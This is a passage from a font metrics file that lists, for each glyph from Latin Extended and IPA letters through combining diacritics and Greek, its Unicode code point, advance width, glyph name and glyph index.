U 307 ; WX 686 ; N ij ; G 245
U 308 ; WX 372 ; N Jcircumflex ; G 246
U 309 ; WX 343 ; N jcircumflex ; G 247
U 310 ; WX 775 ; N Kcommaaccent ; G 248
U 311 ; WX 665 ; N kcommaaccent ; G 249
U 312 ; WX 665 ; N kgreenlandic ; G 250
U 313 ; WX 637 ; N Lacute ; G 251
U 314 ; WX 343 ; N lacute ; G 252
U 315 ; WX 637 ; N Lcommaaccent ; G 253
U 316 ; WX 343 ; N lcommaaccent ; G 254
U 317 ; WX 637 ; N Lcaron ; G 255
U 318 ; WX 343 ; N lcaron ; G 256
U 319 ; WX 637 ; N Ldot ; G 257
U 320 ; WX 343 ; N ldot ; G 258
U 321 ; WX 660 ; N Lslash ; G 259
U 322 ; WX 375 ; N lslash ; G 260
U 323 ; WX 837 ; N Nacute ; G 261
U 324 ; WX 712 ; N nacute ; G 262
U 325 ; WX 837 ; N Ncommaaccent ; G 263
U 326 ; WX 712 ; N ncommaaccent ; G 264
U 327 ; WX 837 ; N Ncaron ; G 265
U 328 ; WX 712 ; N ncaron ; G 266
U 329 ; WX 983 ; N napostrophe ; G 267
U 330 ; WX 837 ; N Eng ; G 268
U 331 ; WX 712 ; N eng ; G 269
U 332 ; WX 850 ; N Omacron ; G 270
U 333 ; WX 687 ; N omacron ; G 271
U 334 ; WX 850 ; N Obreve ; G 272
U 335 ; WX 687 ; N obreve ; G 273
U 336 ; WX 850 ; N Ohungarumlaut ; G 274
U 337 ; WX 687 ; N ohungarumlaut ; G 275
U 338 ; WX 1167 ; N OE ; G 276
U 339 ; WX 1094 ; N oe ; G 277
U 340 ; WX 770 ; N Racute ; G 278
U 341 ; WX 493 ; N racute ; G 279
U 342 ; WX 770 ; N Rcommaaccent ; G 280
U 343 ; WX 493 ; N rcommaaccent ; G 281
U 344 ; WX 770 ; N Rcaron ; G 282
U 345 ; WX 493 ; N rcaron ; G 283
U 346 ; WX 720 ; N Sacute ; G 284
U 347 ; WX 595 ; N sacute ; G 285
U 348 ; WX 720 ; N Scircumflex ; G 286
U 349 ; WX 595 ; N scircumflex ; G 287
U 350 ; WX 720 ; N Scedilla ; G 288
U 351 ; WX 595 ; N scedilla ; G 289
U 352 ; WX 720 ; N Scaron ; G 290
U 353 ; WX 595 ; N scaron ; G 291
U 354 ; WX 682 ; N Tcommaaccent ; G 292
U 355 ; WX 478 ; N tcommaaccent ; G 293
U 356 ; WX 682 ; N Tcaron ; G 294
U 357 ; WX 478 ; N tcaron ; G 295
U 358 ; WX 682 ; N Tbar ; G 296
U 359 ; WX 478 ; N tbar ; G 297
U 360 ; WX 812 ; N Utilde ; G 298
U 361 ; WX 712 ; N utilde ; G 299
U 362 ; WX 812 ; N Umacron ; G 300
U 363 ; WX 712 ; N umacron ; G 301
U 364 ; WX 812 ; N Ubreve ; G 302
U 365 ; WX 712 ; N ubreve ; G 303
U 366 ; WX 812 ; N Uring ; G 304
U 367 ; WX 712 ; N uring ; G 305
U 368 ; WX 812 ; N Uhungarumlaut ; G 306
U 369 ; WX 712 ; N uhungarumlaut ; G 307
U 370 ; WX 812 ; N Uogonek ; G 308
U 371 ; WX 712 ; N uogonek ; G 309
U 372 ; WX 1103 ; N Wcircumflex ; G 310
U 373 ; WX 924 ; N wcircumflex ; G 311
U 374 ; WX 724 ; N Ycircumflex ; G 312
U 375 ; WX 652 ; N ycircumflex ; G 313
U 376 ; WX 724 ; N Ydieresis ; G 314
U 377 ; WX 725 ; N Zacute ; G 315
U 378 ; WX 582 ; N zacute ; G 316
U 379 ; WX 725 ; N Zdotaccent ; G 317
U 380 ; WX 582 ; N zdotaccent ; G 318
U 381 ; WX 725 ; N Zcaron ; G 319
U 382 ; WX 582 ; N zcaron ; G 320
U 383 ; WX 435 ; N longs ; G 321
U 384 ; WX 716 ; N uni0180 ; G 322
U 385 ; WX 811 ; N uni0181 ; G 323
U 386 ; WX 762 ; N uni0182 ; G 324
U 387 ; WX 716 ; N uni0183 ; G 325
U 388 ; WX 762 ; N uni0184 ; G 326
U 389 ; WX 716 ; N uni0185 ; G 327
U 390 ; WX 734 ; N uni0186 ; G 328
U 391 ; WX 734 ; N uni0187 ; G 329
U 392 ; WX 593 ; N uni0188 ; G 330
U 393 ; WX 845 ; N uni0189 ; G 331
U 394 ; WX 879 ; N uni018A ; G 332
U 395 ; WX 762 ; N uni018B ; G 333
U 396 ; WX 716 ; N uni018C ; G 334
U 397 ; WX 687 ; N uni018D ; G 335
U 398 ; WX 683 ; N uni018E ; G 336
U 399 ; WX 850 ; N uni018F ; G 337
U 400 ; WX 696 ; N uni0190 ; G 338
U 401 ; WX 683 ; N uni0191 ; G 339
U 402 ; WX 435 ; N florin ; G 340
U 403 ; WX 821 ; N uni0193 ; G 341
U 404 ; WX 793 ; N uni0194 ; G 342
U 405 ; WX 1045 ; N uni0195 ; G 343
U 406 ; WX 436 ; N uni0196 ; G 344
U 407 ; WX 389 ; N uni0197 ; G 345
U 408 ; WX 775 ; N uni0198 ; G 346
U 409 ; WX 665 ; N uni0199 ; G 347
U 410 ; WX 360 ; N uni019A ; G 348
U 411 ; WX 592 ; N uni019B ; G 349
U 412 ; WX 1042 ; N uni019C ; G 350
U 413 ; WX 837 ; N uni019D ; G 351
U 414 ; WX 712 ; N uni019E ; G 352
U 415 ; WX 850 ; N uni019F ; G 353
U 416 ; WX 850 ; N Ohorn ; G 354
U 417 ; WX 687 ; N ohorn ; G 355
U 418 ; WX 1114 ; N uni01A2 ; G 356
U 419 ; WX 962 ; N uni01A3 ; G 357
U 420 ; WX 782 ; N uni01A4 ; G 358
U 421 ; WX 716 ; N uni01A5 ; G 359
U 422 ; WX 770 ; N uni01A6 ; G 360
U 423 ; WX 720 ; N uni01A7 ; G 361
U 424 ; WX 595 ; N uni01A8 ; G 362
U 425 ; WX 683 ; N uni01A9 ; G 363
U 426 ; WX 552 ; N uni01AA ; G 364
U 427 ; WX 478 ; N uni01AB ; G 365
U 428 ; WX 707 ; N uni01AC ; G 366
U 429 ; WX 478 ; N uni01AD ; G 367
U 430 ; WX 682 ; N uni01AE ; G 368
U 431 ; WX 812 ; N Uhorn ; G 369
U 432 ; WX 712 ; N uhorn ; G 370
U 433 ; WX 769 ; N uni01B1 ; G 371
U 434 ; WX 813 ; N uni01B2 ; G 372
U 435 ; WX 797 ; N uni01B3 ; G 373
U 436 ; WX 778 ; N uni01B4 ; G 374
U 437 ; WX 725 ; N uni01B5 ; G 375
U 438 ; WX 582 ; N uni01B6 ; G 376
U 439 ; WX 772 ; N uni01B7 ; G 377
U 440 ; WX 772 ; N uni01B8 ; G 378
U 441 ; WX 641 ; N uni01B9 ; G 379
U 442 ; WX 582 ; N uni01BA ; G 380
U 443 ; WX 696 ; N uni01BB ; G 381
U 444 ; WX 772 ; N uni01BC ; G 382
U 445 ; WX 641 ; N uni01BD ; G 383
U 446 ; WX 573 ; N uni01BE ; G 384
U 447 ; WX 716 ; N uni01BF ; G 385
U 448 ; WX 372 ; N uni01C0 ; G 386
U 449 ; WX 659 ; N uni01C1 ; G 387
U 450 ; WX 544 ; N uni01C2 ; G 388
U 451 ; WX 372 ; N uni01C3 ; G 389
U 452 ; WX 1548 ; N uni01C4 ; G 390
U 453 ; WX 1450 ; N uni01C5 ; G 391
U 454 ; WX 1307 ; N uni01C6 ; G 392
U 455 ; WX 977 ; N uni01C7 ; G 393
U 456 ; WX 979 ; N uni01C8 ; G 394
U 457 ; WX 670 ; N uni01C9 ; G 395
U 458 ; WX 1193 ; N uni01CA ; G 396
U 459 ; WX 1213 ; N uni01CB ; G 397
U 460 ; WX 1063 ; N uni01CC ; G 398
U 461 ; WX 774 ; N uni01CD ; G 399
U 462 ; WX 675 ; N uni01CE ; G 400
U 463 ; WX 372 ; N uni01CF ; G 401
U 464 ; WX 343 ; N uni01D0 ; G 402
U 465 ; WX 850 ; N uni01D1 ; G 403
U 466 ; WX 687 ; N uni01D2 ; G 404
U 467 ; WX 812 ; N uni01D3 ; G 405
U 468 ; WX 712 ; N uni01D4 ; G 406
U 469 ; WX 812 ; N uni01D5 ; G 407
U 470 ; WX 712 ; N uni01D6 ; G 408
U 471 ; WX 812 ; N uni01D7 ; G 409
U 472 ; WX 712 ; N uni01D8 ; G 410
U 473 ; WX 812 ; N uni01D9 ; G 411
U 474 ; WX 712 ; N uni01DA ; G 412
U 475 ; WX 812 ; N uni01DB ; G 413
U 476 ; WX 712 ; N uni01DC ; G 414
U 477 ; WX 678 ; N uni01DD ; G 415
U 478 ; WX 774 ; N uni01DE ; G 416
U 479 ; WX 675 ; N uni01DF ; G 417
U 480 ; WX 774 ; N uni01E0 ; G 418
U 481 ; WX 675 ; N uni01E1 ; G 419
U 482 ; WX 1085 ; N uni01E2 ; G 420
U 483 ; WX 1048 ; N uni01E3 ; G 421
U 484 ; WX 821 ; N uni01E4 ; G 422
U 485 ; WX 716 ; N uni01E5 ; G 423
U 486 ; WX 821 ; N Gcaron ; G 424
U 487 ; WX 716 ; N gcaron ; G 425
U 488 ; WX 775 ; N uni01E8 ; G 426
U 489 ; WX 665 ; N uni01E9 ; G 427
U 490 ; WX 850 ; N uni01EA ; G 428
U 491 ; WX 687 ; N uni01EB ; G 429
U 492 ; WX 850 ; N uni01EC ; G 430
U 493 ; WX 687 ; N uni01ED ; G 431
U 494 ; WX 772 ; N uni01EE ; G 432
U 495 ; WX 582 ; N uni01EF ; G 433
U 496 ; WX 343 ; N uni01F0 ; G 434
U 497 ; WX 1548 ; N uni01F1 ; G 435
U 498 ; WX 1450 ; N uni01F2 ; G 436
U 499 ; WX 1307 ; N uni01F3 ; G 437
U 500 ; WX 821 ; N uni01F4 ; G 438
U 501 ; WX 716 ; N uni01F5 ; G 439
U 502 ; WX 1289 ; N uni01F6 ; G 440
U 503 ; WX 787 ; N uni01F7 ; G 441
U 504 ; WX 837 ; N uni01F8 ; G 442
U 505 ; WX 712 ; N uni01F9 ; G 443
U 506 ; WX 774 ; N Aringacute ; G 444
U 507 ; WX 675 ; N aringacute ; G 445
U 508 ; WX 1085 ; N AEacute ; G 446
U 509 ; WX 1048 ; N aeacute ; G 447
U 510 ; WX 850 ; N Oslashacute ; G 448
U 511 ; WX 687 ; N oslashacute ; G 449
U 512 ; WX 774 ; N uni0200 ; G 450
U 513 ; WX 675 ; N uni0201 ; G 451
U 514 ; WX 774 ; N uni0202 ; G 452
U 515 ; WX 675 ; N uni0203 ; G 453
U 516 ; WX 683 ; N uni0204 ; G 454
U 517 ; WX 678 ; N uni0205 ; G 455
U 518 ; WX 683 ; N uni0206 ; G 456
U 519 ; WX 678 ; N uni0207 ; G 457
U 520 ; WX 372 ; N uni0208 ; G 458
U 521 ; WX 343 ; N uni0209 ; G 459
U 522 ; WX 372 ; N uni020A ; G 460
U 523 ; WX 343 ; N uni020B ; G 461
U 524 ; WX 850 ; N uni020C ; G 462
U 525 ; WX 687 ; N uni020D ; G 463
U 526 ; WX 850 ; N uni020E ; G 464
U 527 ; WX 687 ; N uni020F ; G 465
U 528 ; WX 770 ; N uni0210 ; G 466
U 529 ; WX 493 ; N uni0211 ; G 467
U 530 ; WX 770 ; N uni0212 ; G 468
U 531 ; WX 493 ; N uni0213 ; G 469
U 532 ; WX 812 ; N uni0214 ; G 470
U 533 ; WX 712 ; N uni0215 ; G 471
U 534 ; WX 812 ; N uni0216 ; G 472
U 535 ; WX 712 ; N uni0217 ; G 473
U 536 ; WX 720 ; N Scommaaccent ; G 474
U 537 ; WX 595 ; N scommaaccent ; G 475
U 538 ; WX 682 ; N uni021A ; G 476
U 539 ; WX 478 ; N uni021B ; G 477
U 540 ; WX 690 ; N uni021C ; G 478
U 541 ; WX 607 ; N uni021D ; G 479
U 542 ; WX 837 ; N uni021E ; G 480
U 543 ; WX 712 ; N uni021F ; G 481
U 544 ; WX 837 ; N uni0220 ; G 482
U 545 ; WX 865 ; N uni0221 ; G 483
U 546 ; WX 809 ; N uni0222 ; G 484
U 547 ; WX 659 ; N uni0223 ; G 485
U 548 ; WX 725 ; N uni0224 ; G 486
U 549 ; WX 582 ; N uni0225 ; G 487
U 550 ; WX 774 ; N uni0226 ; G 488
U 551 ; WX 675 ; N uni0227 ; G 489
U 552 ; WX 683 ; N uni0228 ; G 490
U 553 ; WX 678 ; N uni0229 ; G 491
U 554 ; WX 850 ; N uni022A ; G 492
U 555 ; WX 687 ; N uni022B ; G 493
U 556 ; WX 850 ; N uni022C ; G 494
U 557 ; WX 687 ; N uni022D ; G 495
U 558 ; WX 850 ; N uni022E ; G 496
U 559 ; WX 687 ; N uni022F ; G 497
U 560 ; WX 850 ; N uni0230 ; G 498
U 561 ; WX 687 ; N uni0231 ; G 499
U 562 ; WX 724 ; N uni0232 ; G 500
U 563 ; WX 652 ; N uni0233 ; G 501
U 564 ; WX 492 ; N uni0234 ; G 502
U 565 ; WX 867 ; N uni0235 ; G 503
U 566 ; WX 512 ; N uni0236 ; G 504
U 567 ; WX 343 ; N dotlessj ; G 505
U 568 ; WX 1088 ; N uni0238 ; G 506
U 569 ; WX 1088 ; N uni0239 ; G 507
U 570 ; WX 774 ; N uni023A ; G 508
U 571 ; WX 734 ; N uni023B ; G 509
U 572 ; WX 593 ; N uni023C ; G 510
U 573 ; WX 637 ; N uni023D ; G 511
U 574 ; WX 682 ; N uni023E ; G 512
U 575 ; WX 595 ; N uni023F ; G 513
U 576 ; WX 582 ; N uni0240 ; G 514
U 577 ; WX 782 ; N uni0241 ; G 515
U 578 ; WX 614 ; N uni0242 ; G 516
U 579 ; WX 762 ; N uni0243 ; G 517
U 580 ; WX 812 ; N uni0244 ; G 518
U 581 ; WX 774 ; N uni0245 ; G 519
U 582 ; WX 683 ; N uni0246 ; G 520
U 583 ; WX 678 ; N uni0247 ; G 521
U 584 ; WX 372 ; N uni0248 ; G 522
U 585 ; WX 343 ; N uni0249 ; G 523
U 586 ; WX 860 ; N uni024A ; G 524
U 587 ; WX 791 ; N uni024B ; G 525
U 588 ; WX 770 ; N uni024C ; G 526
U 589 ; WX 493 ; N uni024D ; G 527
U 590 ; WX 724 ; N uni024E ; G 528
U 591 ; WX 652 ; N uni024F ; G 529
U 592 ; WX 675 ; N uni0250 ; G 530
U 593 ; WX 716 ; N uni0251 ; G 531
U 594 ; WX 716 ; N uni0252 ; G 532
U 595 ; WX 716 ; N uni0253 ; G 533
U 596 ; WX 593 ; N uni0254 ; G 534
U 597 ; WX 593 ; N uni0255 ; G 535
U 598 ; WX 791 ; N uni0256 ; G 536
U 599 ; WX 792 ; N uni0257 ; G 537
U 600 ; WX 678 ; N uni0258 ; G 538
U 601 ; WX 678 ; N uni0259 ; G 539
U 602 ; WX 876 ; N uni025A ; G 540
U 603 ; WX 557 ; N uni025B ; G 541
U 604 ; WX 545 ; N uni025C ; G 542
U 605 ; WX 774 ; N uni025D ; G 543
U 606 ; WX 731 ; N uni025E ; G 544
U 607 ; WX 343 ; N uni025F ; G 545
U 608 ; WX 792 ; N uni0260 ; G 546
U 609 ; WX 716 ; N uni0261 ; G 547
U 610 ; WX 627 ; N uni0262 ; G 548
U 611 ; WX 735 ; N uni0263 ; G 549
U 612 ; WX 635 ; N uni0264 ; G 550
U 613 ; WX 712 ; N uni0265 ; G 551
U 614 ; WX 712 ; N uni0266 ; G 552
U 615 ; WX 712 ; N uni0267 ; G 553
U 616 ; WX 545 ; N uni0268 ; G 554
U 617 ; WX 440 ; N uni0269 ; G 555
U 618 ; WX 545 ; N uni026A ; G 556
U 619 ; WX 559 ; N uni026B ; G 557
U 620 ; WX 693 ; N uni026C ; G 558
U 621 ; WX 343 ; N uni026D ; G 559
U 622 ; WX 841 ; N uni026E ; G 560
U 623 ; WX 1042 ; N uni026F ; G 561
U 624 ; WX 1042 ; N uni0270 ; G 562
U 625 ; WX 1042 ; N uni0271 ; G 563
U 626 ; WX 712 ; N uni0272 ; G 564
U 627 ; WX 793 ; N uni0273 ; G 565
U 628 ; WX 642 ; N uni0274 ; G 566
U 629 ; WX 687 ; N uni0275 ; G 567
U 630 ; WX 909 ; N uni0276 ; G 568
U 631 ; WX 682 ; N uni0277 ; G 569
U 632 ; WX 796 ; N uni0278 ; G 570
U 633 ; WX 538 ; N uni0279 ; G 571
U 634 ; WX 538 ; N uni027A ; G 572
U 635 ; WX 650 ; N uni027B ; G 573
U 636 ; WX 493 ; N uni027C ; G 574
U 637 ; WX 493 ; N uni027D ; G 575
U 638 ; WX 596 ; N uni027E ; G 576
U 639 ; WX 596 ; N uni027F ; G 577
U 640 ; WX 642 ; N uni0280 ; G 578
U 641 ; WX 642 ; N uni0281 ; G 579
U 642 ; WX 595 ; N uni0282 ; G 580
U 643 ; WX 415 ; N uni0283 ; G 581
U 644 ; WX 435 ; N uni0284 ; G 582
U 645 ; WX 605 ; N uni0285 ; G 583
U 646 ; WX 552 ; N uni0286 ; G 584
U 647 ; WX 478 ; N uni0287 ; G 585
U 648 ; WX 478 ; N uni0288 ; G 586
U 649 ; WX 920 ; N uni0289 ; G 587
U 650 ; WX 769 ; N uni028A ; G 588
U 651 ; WX 670 ; N uni028B ; G 589
U 652 ; WX 652 ; N uni028C ; G 590
U 653 ; WX 924 ; N uni028D ; G 591
U 654 ; WX 652 ; N uni028E ; G 592
U 655 ; WX 724 ; N uni028F ; G 593
U 656 ; WX 694 ; N uni0290 ; G 594
U 657 ; WX 684 ; N uni0291 ; G 595
U 658 ; WX 641 ; N uni0292 ; G 596
U 659 ; WX 641 ; N uni0293 ; G 597
U 660 ; WX 573 ; N uni0294 ; G 598
U 661 ; WX 573 ; N uni0295 ; G 599
U 662 ; WX 573 ; N uni0296 ; G 600
U 663 ; WX 573 ; N uni0297 ; G 601
U 664 ; WX 850 ; N uni0298 ; G 602
U 665 ; WX 633 ; N uni0299 ; G 603
U 666 ; WX 731 ; N uni029A ; G 604
U 667 ; WX 685 ; N uni029B ; G 605
U 668 ; WX 691 ; N uni029C ; G 606
U 669 ; WX 343 ; N uni029D ; G 607
U 670 ; WX 732 ; N uni029E ; G 608
U 671 ; WX 539 ; N uni029F ; G 609
U 672 ; WX 792 ; N uni02A0 ; G 610
U 673 ; WX 573 ; N uni02A1 ; G 611
U 674 ; WX 573 ; N uni02A2 ; G 612
U 675 ; WX 1156 ; N uni02A3 ; G 613
U 676 ; WX 1214 ; N uni02A4 ; G 614
U 677 ; WX 1155 ; N uni02A5 ; G 615
U 678 ; WX 975 ; N uni02A6 ; G 616
U 679 ; WX 769 ; N uni02A7 ; G 617
U 680 ; WX 929 ; N uni02A8 ; G 618
U 681 ; WX 1026 ; N uni02A9 ; G 619
U 682 ; WX 862 ; N uni02AA ; G 620
U 683 ; WX 780 ; N uni02AB ; G 621
U 684 ; WX 591 ; N uni02AC ; G 622
U 685 ; WX 415 ; N uni02AD ; G 623
U 686 ; WX 677 ; N uni02AE ; G 624
U 687 ; WX 789 ; N uni02AF ; G 625
U 688 ; WX 456 ; N uni02B0 ; G 626
U 689 ; WX 456 ; N uni02B1 ; G 627
U 690 ; WX 219 ; N uni02B2 ; G 628
U 691 ; WX 315 ; N uni02B3 ; G 629
U 692 ; WX 315 ; N uni02B4 ; G 630
U 693 ; WX 315 ; N uni02B5 ; G 631
U 694 ; WX 411 ; N uni02B6 ; G 632
U 695 ; WX 591 ; N uni02B7 ; G 633
U 696 ; WX 417 ; N uni02B8 ; G 634
U 697 ; WX 302 ; N uni02B9 ; G 635
U 698 ; WX 521 ; N uni02BA ; G 636
U 699 ; WX 380 ; N uni02BB ; G 637
U 700 ; WX 380 ; N uni02BC ; G 638
U 701 ; WX 380 ; N uni02BD ; G 639
U 702 ; WX 366 ; N uni02BE ; G 640
U 703 ; WX 366 ; N uni02BF ; G 641
U 704 ; WX 326 ; N uni02C0 ; G 642
U 705 ; WX 326 ; N uni02C1 ; G 643
U 706 ; WX 500 ; N uni02C2 ; G 644
U 707 ; WX 500 ; N uni02C3 ; G 645
U 708 ; WX 500 ; N uni02C4 ; G 646
U 709 ; WX 500 ; N uni02C5 ; G 647
U 710 ; WX 500 ; N circumflex ; G 648
U 711 ; WX 500 ; N caron ; G 649
U 712 ; WX 306 ; N uni02C8 ; G 650
U 713 ; WX 500 ; N uni02C9 ; G 651
U 714 ; WX 500 ; N uni02CA ; G 652
U 715 ; WX 500 ; N uni02CB ; G 653
U 716 ; WX 306 ; N uni02CC ; G 654
U 717 ; WX 500 ; N uni02CD ; G 655
U 718 ; WX 500 ; N uni02CE ; G 656
U 719 ; WX 500 ; N uni02CF ; G 657
U 720 ; WX 337 ; N uni02D0 ; G 658
U 721 ; WX 337 ; N uni02D1 ; G 659
U 722 ; WX 366 ; N uni02D2 ; G 660
U 723 ; WX 366 ; N uni02D3 ; G 661
U 724 ; WX 500 ; N uni02D4 ; G 662
U 725 ; WX 500 ; N uni02D5 ; G 663
U 726 ; WX 416 ; N uni02D6 ; G 664
U 727 ; WX 328 ; N uni02D7 ; G 665
U 728 ; WX 500 ; N breve ; G 666
U 729 ; WX 500 ; N dotaccent ; G 667
U 730 ; WX 500 ; N ring ; G 668
U 731 ; WX 500 ; N ogonek ; G 669
U 732 ; WX 500 ; N tilde ; G 670
U 733 ; WX 500 ; N hungarumlaut ; G 671
U 734 ; WX 351 ; N uni02DE ; G 672
U 735 ; WX 500 ; N uni02DF ; G 673
U 736 ; WX 412 ; N uni02E0 ; G 674
U 737 ; WX 219 ; N uni02E1 ; G 675
U 738 ; WX 381 ; N uni02E2 ; G 676
U 739 ; WX 413 ; N uni02E3 ; G 677
U 740 ; WX 326 ; N uni02E4 ; G 678
U 741 ; WX 500 ; N uni02E5 ; G 679
U 742 ; WX 500 ; N uni02E6 ; G 680
U 743 ; WX 500 ; N uni02E7 ; G 681
U 744 ; WX 500 ; N uni02E8 ; G 682
U 745 ; WX 500 ; N uni02E9 ; G 683
U 748 ; WX 500 ; N uni02EC ; G 684
U 749 ; WX 500 ; N uni02ED ; G 685
U 750 ; WX 644 ; N uni02EE ; G 686
U 755 ; WX 500 ; N uni02F3 ; G 687
U 759 ; WX 500 ; N uni02F7 ; G 688
U 768 ; WX 0 ; N gravecomb ; G 689
U 769 ; WX 0 ; N acutecomb ; G 690
U 770 ; WX 0 ; N uni0302 ; G 691
U 771 ; WX 0 ; N tildecomb ; G 692
U 772 ; WX 0 ; N uni0304 ; G 693
U 773 ; WX 0 ; N uni0305 ; G 694
U 774 ; WX 0 ; N uni0306 ; G 695
U 775 ; WX 0 ; N uni0307 ; G 696
U 776 ; WX 0 ; N uni0308 ; G 697
U 777 ; WX 0 ; N hookabovecomb ; G 698
U 778 ; WX 0 ; N uni030A ; G 699
U 779 ; WX 0 ; N uni030B ; G 700
U 780 ; WX 0 ; N uni030C ; G 701
U 781 ; WX 0 ; N uni030D ; G 702
U 782 ; WX 0 ; N uni030E ; G 703
U 783 ; WX 0 ; N uni030F ; G 704
U 784 ; WX 0 ; N uni0310 ; G 705
U 785 ; WX 0 ; N uni0311 ; G 706
U 786 ; WX 0 ; N uni0312 ; G 707
U 787 ; WX 0 ; N uni0313 ; G 708
U 788 ; WX 0 ; N uni0314 ; G 709
U 789 ; WX 0 ; N uni0315 ; G 710
U 790 ; WX 0 ; N uni0316 ; G 711
U 791 ; WX 0 ; N uni0317 ; G 712
U 792 ; WX 0 ; N uni0318 ; G 713
U 793 ; WX 0 ; N uni0319 ; G 714
U 794 ; WX 0 ; N uni031A ; G 715
U 795 ; WX 0 ; N uni031B ; G 716
U 796 ; WX 0 ; N uni031C ; G 717
U 797 ; WX 0 ; N uni031D ; G 718
U 798 ; WX 0 ; N uni031E ; G 719
U 799 ; WX 0 ; N uni031F ; G 720
U 800 ; WX 0 ; N uni0320 ; G 721
U 801 ; WX 0 ; N uni0321 ; G 722
U 802 ; WX 0 ; N uni0322 ; G 723
U 803 ; WX 0 ; N dotbelowcomb ; G 724
U 804 ; WX 0 ; N uni0324 ; G 725
U 805 ; WX 0 ; N uni0325 ; G 726
U 806 ; WX 0 ; N uni0326 ; G 727
U 807 ; WX 0 ; N uni0327 ; G 728
U 808 ; WX 0 ; N uni0328 ; G 729
U 809 ; WX 0 ; N uni0329 ; G 730
U 810 ; WX 0 ; N uni032A ; G 731
U 811 ; WX 0 ; N uni032B ; G 732
U 812 ; WX 0 ; N uni032C ; G 733
U 813 ; WX 0 ; N uni032D ; G 734
U 814 ; WX 0 ; N uni032E ; G 735
U 815 ; WX 0 ; N uni032F ; G 736
U 816 ; WX 0 ; N uni0330 ; G 737
U 817 ; WX 0 ; N uni0331 ; G 738
U 818 ; WX 0 ; N uni0332 ; G 739
U 819 ; WX 0 ; N uni0333 ; G 740
U 820 ; WX 0 ; N uni0334 ; G 741
U 821 ; WX 0 ; N uni0335 ; G 742
U 822 ; WX 0 ; N uni0336 ; G 743
U 823 ; WX 0 ; N uni0337 ; G 744
U 824 ; WX 0 ; N uni0338 ; G 745
U 825 ; WX 0 ; N uni0339 ; G 746
U 826 ; WX 0 ; N uni033A ; G 747
U 827 ; WX 0 ; N uni033B ; G 748
U 828 ; WX 0 ; N uni033C ; G 749
U 829 ; WX 0 ; N uni033D ; G 750
U 830 ; WX 0 ; N uni033E ; G 751
U 831 ; WX 0 ; N uni033F ; G 752
U 832 ; WX 0 ; N uni0340 ; G 753
U 833 ; WX 0 ; N uni0341 ; G 754
U 834 ; WX 0 ; N uni0342 ; G 755
U 835 ; WX 0 ; N uni0343 ; G 756
U 836 ; WX 0 ; N uni0344 ; G 757
U 837 ; WX 0 ; N uni0345 ; G 758
U 838 ; WX 0 ; N uni0346 ; G 759
U 839 ; WX 0 ; N uni0347 ; G 760
U 840 ; WX 0 ; N uni0348 ; G 761
U 841 ; WX 0 ; N uni0349 ; G 762
U 842 ; WX 0 ; N uni034A ; G 763
U 843 ; WX 0 ; N uni034B ; G 764
U 844 ; WX 0 ; N uni034C ; G 765
U 845 ; WX 0 ; N uni034D ; G 766
U 846 ; WX 0 ; N uni034E ; G 767
U 847 ; WX 0 ; N uni034F ; G 768
U 849 ; WX 0 ; N uni0351 ; G 769
U 850 ; WX 0 ; N uni0352 ; G 770
U 851 ; WX 0 ; N uni0353 ; G 771
U 855 ; WX 0 ; N uni0357 ; G 772
U 856 ; WX 0 ; N uni0358 ; G 773
U 858 ; WX 0 ; N uni035A ; G 774
U 860 ; WX 0 ; N uni035C ; G 775
U 861 ; WX 0 ; N uni035D ; G 776
U 862 ; WX 0 ; N uni035E ; G 777
U 863 ; WX 0 ; N uni035F ; G 778
U 864 ; WX 0 ; N uni0360 ; G 779
U 865 ; WX 0 ; N uni0361 ; G 780
U 866 ; WX 0 ; N uni0362 ; G 781
U 880 ; WX 698 ; N uni0370 ; G 782
U 881 ; WX 565 ; N uni0371 ; G 783
U 882 ; WX 1022 ; N uni0372 ; G 784
U 883 ; WX 836 ; N uni0373 ; G 785
U 884 ; WX 302 ; N uni0374 ; G 786
U 885 ; WX 302 ; N uni0375 ; G 787
U 886 ; WX 837 ; N uni0376 ; G 788
U 887 ; WX 701 ; N uni0377 ; G 789
U 890 ; WX 500 ; N uni037A ; G 790
U 891 ; WX 593 ; N uni037B ; G 791
U 892 ; WX 550 ; N uni037C ; G 792
U 893 ; WX 549 ; N uni037D ; G 793
U 894 ; WX 400 ; N uni037E ; G 794
U 895 ; WX 372 ; N uni037F ; G 795
U 900 ; WX 441 ; N tonos ; G 796
U 901 ; WX 500 ; N dieresistonos ; G 797
U 902 ; WX 797 ; N Alphatonos ; G 798
U 903 ; WX 380 ; N anoteleia ; G 799
U 904 ; WX 846 ; N Epsilontonos ; G 800
U 905 ; WX 1009 ; N Etatonos ; G 801
U 906 ; WX 563 ; N Iotatonos ; G 802
U 908 ; WX 891 ; N Omicrontonos ; G 803
U 910 ; WX 980 ; N Upsilontonos ; G 804
U 911 ; WX 894 ; N Omegatonos ; G 805
U 912 ; WX 390 ; N iotadieresistonos ; G 806
U 913 ; WX 774 ; N Alpha ; G 807
U 914 ; WX 762 ; N Beta ; G 808
U 915 ; WX 637 ; N Gamma ; G 809
U 916 ; WX 774 ; N uni0394 ; G 810
U 917 ; WX 683 ; N Epsilon ; G 811
U 918 ; WX 725 ; N Zeta ; G 812
U 919 ; WX 837 ; N Eta ; G 813
U 920 ; WX 850 ; N Theta ; G 814
U 921 ; WX 372 ; N Iota ; G 815
U 922 ; WX 775 ; N Kappa ; G 816
U 923 ; WX 774 ; N Lambda ; G 817
U 924 ; WX 995 ; N Mu ; G 818
U 925 ; WX 837 ; N Nu ; G 819
U 926 ; WX 632 ; N Xi ; G 820
U 927 ; WX 850 ; N Omicron ; G 821
U 928 ; WX 837 ; N Pi ; G 822
U 929 ; WX 733 ; N Rho ; G 823
U 931 ; WX 683 ; N Sigma ; G 824
U 932 ; WX 682 ; N Tau ; G 825
U 933 ; WX 724 ; N Upsilon ; G 826
U 934 ; WX 850 ; N Phi ; G 827
U 935 ; WX 771 ; N Chi ; G 828
U 936 ; WX 850 ; N Psi ; G 829
U 937 ; WX 850 ; N Omega ; G 830
U 938 ; WX 372 ; N Iotadieresis ; G 831
U 939 ; WX 724 ; N Upsilondieresis ; G 832
U 940 ; WX 687 ; N alphatonos ; G 833
U 941 ; WX 557 ; N epsilontonos ; G 834
U 942 ; WX 712 ; N etatonos ; G 835
U 943 ; WX 390 ; N iotatonos ; G 836
U 944 ; WX 675 ; N upsilondieresistonos ; G 837
U 945 ; WX 687 ; N alpha ; G 838
U 946 ; WX 716 ; N beta ; G 839
U 947 ; WX 681 ; N gamma ; G 840
U 948 ; WX 687 ; N delta ; G 841
U 949 ; WX 557 ; N epsilon ; G 842
U 950 ; WX 591 ; N zeta ; G 843
U 951 ; WX 712 ; N eta ; G 844
U 952 ; WX 687 ; N theta ; G 845
